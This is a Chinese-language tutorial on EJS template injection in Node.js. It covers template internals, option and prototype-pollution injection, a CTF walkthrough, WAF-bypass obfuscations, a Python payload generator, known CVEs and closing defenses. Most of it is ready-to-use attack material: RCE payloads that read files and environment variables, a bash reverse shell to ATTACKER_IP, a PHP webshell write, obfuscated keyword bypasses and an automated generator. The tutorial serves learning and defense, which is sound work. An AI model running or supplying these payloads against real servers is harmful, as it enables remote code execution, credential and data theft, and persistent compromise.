前言 EJS(Embedded JavaScript)是 Node.js 生态中广泛使用的模板引擎。和 Python 的 Jinja2、PHP 的 Twig 不同,EJS 的模板编译方式非常”粗暴”——它直接把模板字符串拼接成一段 JavaScript 函数体,然后扔给 new Function() 执行。这意味着一旦攻击者能控制模板内容或编译选项,RCE 几乎是必然的 。
EJS SSTI 和其他模板引擎的关键区别:
特性
EJS
Jinja2 (Python)
Twig (PHP)
底层实现
拼接 JS 字符串 → new Function()
解析 AST → 编译为 Python bytecode
编译为 PHP 代码
代码执行
<% %> 中是真正的 JS
{{ }} 只能访问传递的变量
{{ }} 只能访问传递的变量
沙箱
无沙箱
有沙箱(需逃逸)
有沙箱
数据作用域
with(locals){} 或 var 赋值
独立的模板上下文
独立的模板上下文
注入难度
控制模板 → 直接 RCE
控制模板 → 需沙箱逃逸
控制模板 → 需沙箱逃逸
一句话总结:在 EJS 中,拿到模板注入 = 拿到 RCE,没有任何沙箱需要绕过。 本文从基础语法讲起,覆盖模板注入、选项注入、原型链污染、CTF 题目和防御方案。
一、EJS 基础语法 1.1 标签速查
标签
含义
执行代码
输出结果
HTML 转义
<% code %>
执行 JS 代码
✓
✗
—
<%= expr %>
输出表达式值
✗
✓
是 (< → <)
<%- expr %>
输出原始 HTML(不转义)
✗
✓
否
<%# comment %>
注释
✗
✗
—
<%%
输出字面量 <%
✗
✓
—
示例:
1 2 3 4 <% var name = 'Alice'; %> <h1>Hello, <%= name %></h1> <%- '<strong>不转义</strong>' %> <%# 这是注释,不会被输出 %>
1.2 条件语句 1 2 3 4 5 6 7 8 9 <body> <% if (state === 'danger') { %> <p>危险区域, 请勿进入</p> <% } else if (state === 'warning') { %> <p>警告, 你即将进入危险区域</p> <% } else { %> <p>状态安全</p> <% } %> </body>
1.3 循环语句 1 2 3 4 5 6 7 8 9 10 11 12 <ul> <% for (var i = 0; i < users.length; i++) { %> <li><%= users[i] %></li> <% } %> </ul> <!-- 等价: --> <ul> <% users.forEach(function(user) { %> <li><%= user %></li> <% }); %> </ul>
1.4 最简单渲染示例 1 2 3 4 5 6 7 8 9 10 const ejs = require ('ejs' );var result = ejs.render ('<% var a = 123 %><%= a %>' );console .log (result); var fs = require ('fs' );var data = fs.readFileSync ('template.ejs' );var result = ejs.render (data.toString ());
二、EJS 核心 API 2.1 ejs.render —— 一次性渲染 1 2 3 4 5 6 7 const html = ejs.render ( '<h1>Hello, <%= name %></h1>' , { name : 'Alice' }, { delimiter : '%' } ); console .log (html);
参数
类型
说明
templateStr
string
EJS 模板字符串
data
object
传入模板的数据(在模板中可直接访问数据对象的属性)
options
object
编译选项
2.2 ejs.compile —— 预编译 + 复用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const ejs = require ('ejs' );const templateStr = ` <h1>Hello, <%= name %></h1> <ul> <% for (let item of list) { %> <li><%= item %></li> <% } %> </ul> ` ;const renderFn = ejs.compile (templateStr, { });const html1 = renderFn ({ name : "张三" , list : ["苹果" , "香蕉" ] });const html2 = renderFn ({ name : "李四" , list : ["橙子" , "葡萄" ] });console .log (html1);console .log (html2);
compile vs render: compile 适合同一模板多次使用(编译一次,复用 N 次)。render 每次都会重新编译。
2.3 Express 中集成 EJS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const express = require ('express' );const app = express ();app.set ('view engine' , 'ejs' ); app.engine ('html' , require ('ejs' ).__express ); app.set ('view engine' , 'html' ); app.get ('/page' , (req, res ) => { res.render ('page' , { title : 'Hello' , user : req.user }); });
三、EJS 内部编译原理(理解 RCE 的关键) EJS 编译模板的方式是将模板字符串转换为一段 JavaScript 函数体 ,然后用 new Function() 执行:
1 2 3 4 5 6 7 8 9 模板字符串: "<h1><%= name %></h1>" ↓ 解析 JS 拼接: "var __output = []; __output.push('<h1>'); __output.push(escapeFn(name)); __output.push('</h1>'); return __output.join('');" ↓ 包装 函数体: "function anonymous(locals, escapeFn, include, rethrow) { ... }" ↓ 执行 new Function('locals', 'escapeFn', 'include', 'rethrow', 函数体) ↓ 得到一个函数 → 调用它 → 返回渲染后的 HTML
EJS 编译伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function compile (template, opts ) { var options = Object .assign ({}, opts); var funcName = options.outputFunctionName || 'anonymous' ; var src = 'function ' + funcName + '(locals, escapeFn, include, rethrow) {\n' ; src += ' var __output = [];\n' ; src += ' // ... 逐行处理模板内容 ...\n' ; src += ' return __output.join("");\n' ; src += '}' ; var fn = new Function ('locals' , 'escapeFn' , 'include' , 'rethrow' , src.split ('\n' ).slice (1 ).join ('\n' )); return fn; }
⚠️ new Function() 就是等同于 eval! 只要能控制传入 new Function 的字符串,就能执行任意代码。
四、模板内容注入 —— 直接 RCE 4.1 前提 用户输入直接拼接进了 EJS 的模板字符串(ejs.render 的第一个参数),例如:
1 2 3 4 5 6 app.get ('/page' , (req, res ) => { let template = '<h1>Welcome, ' + req.query .name + '</h1>' ; let html = ejs.render (template); res.send (html); });
4.2 攻击 1 2 3 4 5 GET /page?name=<%= 7*7 %> → 页面输出 "Welcome, 49"(确认注入) GET /page?name=<%%- global.process.mainModule.require('child_process').execSync('id').toString() %> → 页面输出 "Welcome, uid=1000(node) ..."(RCE!)
4.3 完整 Payload 字典 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <!-- 基础确认 --> <%= 7*7 %> <%= global %> <!-- 进程信息收集 --> <%= global.process.version %> <%= global.process.env %> <%= global.process.cwd() %> <!-- 读取文件 --> <%= global.process.mainModule.require('fs').readFileSync('/flag', 'utf-8') %> <%= global.process.mainModule.require('fs').readdirSync('/').toString() %> <!-- 命令执行(RCE) --> <%= global.process.mainModule.require('child_process').execSync('cat /flag').toString() %> <% global.process.mainModule.require('child_process').execSync('cat /flag'); %> <!-- 无回显 → 反弹 shell --> <% (function(){ var cp = global.process.mainModule.require('child_process'); cp.exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'); })(); %> <!-- 写 webshell --> <% global.process.mainModule.require('fs').writeFileSync( '/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>' ); %>
为什么用 global.process.mainModule.require 而非直接 require? EJS 模板内部的作用域中可能没有 require(取决于 outputFunctionName 的包装方式和 locals 作用域)。但 global.process.mainModule 是全局可访问的,永远可用。
五、选项注入 + 原型链污染(进阶) 5.1 原理 控制不了模板字符串,但能影响 options 参数时,可以注入关键选项来实现 RCE。
5.2 outputFunctionName 注入 outputFunctionName 决定了生成的函数名。如果这个值被污染,就能将恶意代码嵌入函数定义:
1 2 3 4 5 6 7 8 9 10 11 12 ejs.render (template, data, { outputFunctionName : 'myFunc' }); ejs.render (template, data, { outputFunctionName : 'x;return global.process.mainModule.require("child_process").execSync("id").toString();//' });
完整注入 Payload:
1 2 3 4 { "outputFunctionName" : "x;process.mainModule.require('child_process').execSync('cat /flag');//" }
为什么 exploit 中经常需要两层 __proto__?
原型链污染场景中,Object.assign({}, opts) 创建的新对象如果 opts 没有 outputFunctionName,会从(被污染的)Object.prototype 上查找该属性。有些框架嵌套多层的对象结构需要调整深度。
1 2 3 4 5 6 7 { "__proto__" : { "__proto__" : { "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1\"');var __tmp2" } } }
5.3 delimiter 注入 delimiter 选项允许自定义 EJS 的标签分隔符(默认是 %)。修改分隔符可以绕过只检测 <% 的 WAF:
1 2 3 4 5 6 ejs.render ('<?= 7*7 ?>' , {}, { delimiter : '?' });
攻击链:
1 2 3 4 ejs.render ('<?- global.process.mainModule.require("child_process").execSync("id").toString() ?>' , {}, { delimiter : '?' });
5.4 escapeFunction 注入(EJS < 3.1.10) 部分旧版 EJS 中 escapeFunction 选项允许覆盖 HTML 转义函数:
1 2 3 4 5 6 ejs.render ('<%= data %>' , { data : 'test' }, { escapeFunction : function (x ) { return this .process .mainModule .require ('child_process' ).execSync ('id' ).toString (); } });
5.5 其他可注入选项
选项
用途
攻击性
delimiter
自定义分隔符
绕过 WAF
outputFunctionName
定义渲染函数名
直接 RCE
escapeFunction
自定义转义函数
RCE(旧版)
openDelimiter
起始分隔符
绕过 WAF
closeDelimiter
结束分隔符
绕过 WAF
client
客户端模式
影响函数生成方式
debug
调试模式
可能泄露模板内容
六、CTF 题目解析 6.1 题目源码(模板路径可控) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 const express = require ('express' );const ejs = require ('ejs' );const fs = require ('fs' );const path = require ('path' );const app = express ();app.set ('view engine' , 'ejs' ); app.use (express.json ({ limit : '114514mb' })); const STATIC_DIR = __dirname;function serveIndex (req, res ) { var whiteList = ['index' ]; var templ = req.query .templ || 'index' ; if (!whiteList.includes (templ)) { return res.status (403 ).send ('Denied Templ' ); } var lsPath = path.join (__dirname, req.path ); try { res.render (templ, { filenames : fs.readdirSync (lsPath), path : req.path }); } catch (e) { res.status (500 ).send ('Error' ); } } app.use ((req, res, next ) => { if (typeof req.path !== 'string' || (typeof req.query .templ !== 'string' && typeof req.query .templ !== 'undefined' && typeof req.query .templ !== null ) ) res.status (500 ).send ('Error' ); else if (/js$|\.\./i .test (req.path )) res.status (403 ).send ('Denied filename' ); else next (); }); app.use ((req, res, next ) => { if (req.path .endsWith ('/' )) serveIndex (req, res); else next (); }); app.put ('/*' , (req, res ) => { const filePath = path.join (STATIC_DIR , req.path ); fs.writeFile (filePath, Buffer .from (req.body .content , 'base64' ), (err ) => { if (err) return res.status (500 ).send ('Error' ); res.status (201 ).send ('Success' ); }); }); app.listen (80 , () => { console .log ('running on port 80' ); });
6.2 漏洞分析
漏洞点
说明
模板路径白名单
whiteList = ['index'],templ 固定为 index——看似安全
PUT 任意文件上传
可以上传任意文件到服务器目录
路径以 / 结尾
触发 serveIndex,渲染 index.ejs
非字符串 templ 绕过
中间件只检查 !== 'string',但如果 req.query.templ 不存在时,变量为 undefined → 走默认值 'index'
漏洞链: 虽然 templ 被限制为 index,但可以上传一个新的 index.ejs 覆盖原有模板!通过 PUT 请求将 payload 编码为 base64 写入 index.ejs。
6.3 利用步骤 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 cat > evil.ejs << 'EOF' <%= global.process.mainModule.require('child_process' ).execSync('cat /flag' ).toString() %> EOF cat evil.ejs | base64 -w0curl -X PUT http://target.com/index.ejs \ -H "Content-Type: application/json" \ -d '{"content": "PGUÑIGdsb2JhbC5w...=="}' curl http://target.com/some-path/
6.4 另一种思路:原型链污染 如果目标还有 merge/clone 逻辑(见原型链污染专题),可以直接污染 outputFunctionName:
1 2 3 4 1. 找到 merge 入口 2. {"__proto__":{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('cat /flag').toString();//"}}} 3. 访问任意 EJS 渲染的路由 4. RCE
七、WAF 绕过 EJS 的 WAF 绕过思路和 Node.js RCE 专题完全一致,核心都是绕过 require/exec 等关键字的检测。
7.1 属性访问绕过 1 2 3 4 5 6 7 8 <!-- 原始 --> <%= require('child_process').execSync('calc').toString() %> <!-- 方括号 + 字符串 --> <%= require('child_process')['execSync']('calc').toString() %> <!-- 绕过 exec 关键字 --> <%= require('child_process')["exec"]('calc') %>
7.2 字符串拼接绕过 1 2 3 4 5 <%= require('child_process')["ex"+"ec"]('calc').toString() %> <%= require('child_process')["exe".concat("c")]('calc').toString() %> <!-- ES6 模板字符串拼接 --> <%= require('child_process')[`${`${`exe`}c`}`]('calc').toString() %>
7.3 编码绕过 (1)十六进制:
1 2 <%= require('child_process')["\x65\x78\x65\x63"]('calc').toString() %> <!-- \x65=e, \x78=x, \x65=e, \x63=c → "exec" -->
(2)Unicode:
1 2 3 4 5 <%= require('child_process')["exec"]('calc').toString() %> <!-- e=e, x=x ... --> <!-- 更长的 Unicode 编码整个字符串 --> <%= global["process"]["mainModule"]["require"]('child_process')["execSync"]('id').toString() %>
(3)Base64:
1 2 3 <% eval(Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYWxjJykudG9TdHJpbmcoKQ==', 'base64').toString()); %>
7.4 数组方法绕过 1 2 3 <!-- Object.values 获取 child_process 下的所有方法,按索引调用 --> <%= Object.values(require('child_process'))[4]('calc').toString() %> <!-- child_process 的第 5 个方法通常是 execSync -->
7.5 String.fromCharCode 1 2 3 4 5 6 <!-- 等同于 require('child_process').execSync('id') --> <% var cp = global.process.mainModule.constructor._load(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)); var cmd = String.fromCharCode(99,97,116,32,47,102,108,97,103); %> <%= cp.execSync(cmd).toString() %>
7.6 绕过技巧对比速查
目标
payload
原始 RCE
<%= global.process.mainModule.require('child_process').execSync('id').toString() %>
绕过 exec
...["ex"+"ec"]... 或 ...["\x65\x78\x65\x63"]...
绕过 require
global.process.mainModule.constructor._load(...)
绕过 child_process
String.fromCharCode(99,104,105,...)
绕过 <%
设置 delimiter 或 上传覆盖后触发原型链污染
绕过所有关键字
Base64 → eval(Buffer.from(...).toString())
八、自动生成 EJS Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 """EJS SSTI Payload 生成器""" def gen_ejs_rce (cmd="id" ): """标准 RCE payload""" return f"<%= global.process.mainModule.require('child_process').execSync('{cmd} ').toString() %>" def gen_ejs_rce_no_require (cmd="id" ): """绕过 require""" return f"<%= global.process.mainModule.constructor._load('child_process').execSync('{cmd} ').toString() %>" def gen_ejs_base64 (cmd="id" ): """Base64 编码绕过""" import base64 js = f"global.process.mainModule.require('child_process').execSync('{cmd} ').toString()" b64 = base64.b64encode(js.encode()).decode() return f"<%= eval(Buffer.from('{b64} ', 'base64').toString()) %>" def gen_ejs_output_function_name (cmd="id" ): """outputFunctionName 注入 payload(用于原型链污染)""" return { "__proto__" : { "__proto__" : { "outputFunctionName" : f"x;return global.process.mainModule.require('child_process').execSync('{cmd} ').toString();//" } } } if __name__ == "__main__" : print ("[*] 标准 RCE:" ) print (gen_ejs_rce("cat /flag" )) print ("\n[*] 无 require 版本:" ) print (gen_ejs_rce_no_require("cat /flag" )) print ("\n[*] Base64 绕过:" ) print (gen_ejs_base64("cat /flag" )) print ("\n[*] outputFunctionName 注入:" ) import json print (json.dumps(gen_ejs_output_function_name("cat /flag" ), indent=2 ))
九、EJS 已知漏洞(CVE 历史)
CVE
影响版本
描述
方式
CVE-2024-33883
EJS < 3.1.10
delimiter 选项注入导致 RCE
选项注入
CVE-2022-29078
EJS < 3.1.7
settings['view options']['outputFunctionName'] 污染导致 RCE
选项注入/原型链污染
—
全版本
模板内容直接注入 <% %>
模板注入(非 CVE,是设计特性)
关键教训: EJS 的 new Function() 执行方式不是 bug,是设计如此。当用户能控制模板内容或编译选项时,RCE 是预期行为 ,不是需要”逃逸”的沙箱。
十、防御措施
层面
措施
说明
模板安全
永远不要 将用户输入拼接到模板字符串中
用户数据通过 data 参数传入,而非模板字符串
模板安全
不要允许用户上传/覆盖 .ejs 文件
上传目录不应在 views/ 路径下
模板安全
模板文件名使用白名单
不要用 req.query.templ 直接做模板名
选项安全
硬编码 options,不接受用户可控数据
如必须接受,做白名单检查
选项安全
明确设置 outputFunctionName
显式传入该选项,使其不依赖原型链
代码安全
升级 EJS ≥ 3.1.10
修复了已知的选项注入漏洞
原型链保护
过滤 __proto__、constructor、prototype
在 merge 函数中加黑名单
运行时保护
Object.freeze(Object.prototype)
阻止原型链污染
安全渲染示例 1 2 3 4 5 6 7 8 let template = '<h1>' + req.query .title + '</h1>' ;let html = ejs.render (template);let template = '<h1><%= title %></h1>' ;let html = ejs.render (template, { title : req.query .title });
安全选项处理 1 2 3 4 5 6 7 8 9 10 11 12 let options = req.body .options ; ejs.render (template, data, options); let allowedOptions = {};if (['%' , '?' , '@' ].includes (req.body .delimiter )) { allowedOptions.delimiter = req.body .delimiter ; } allowedOptions.outputFunctionName = 'render' + Date .now (); ejs.render (template, data, allowedOptions);
参考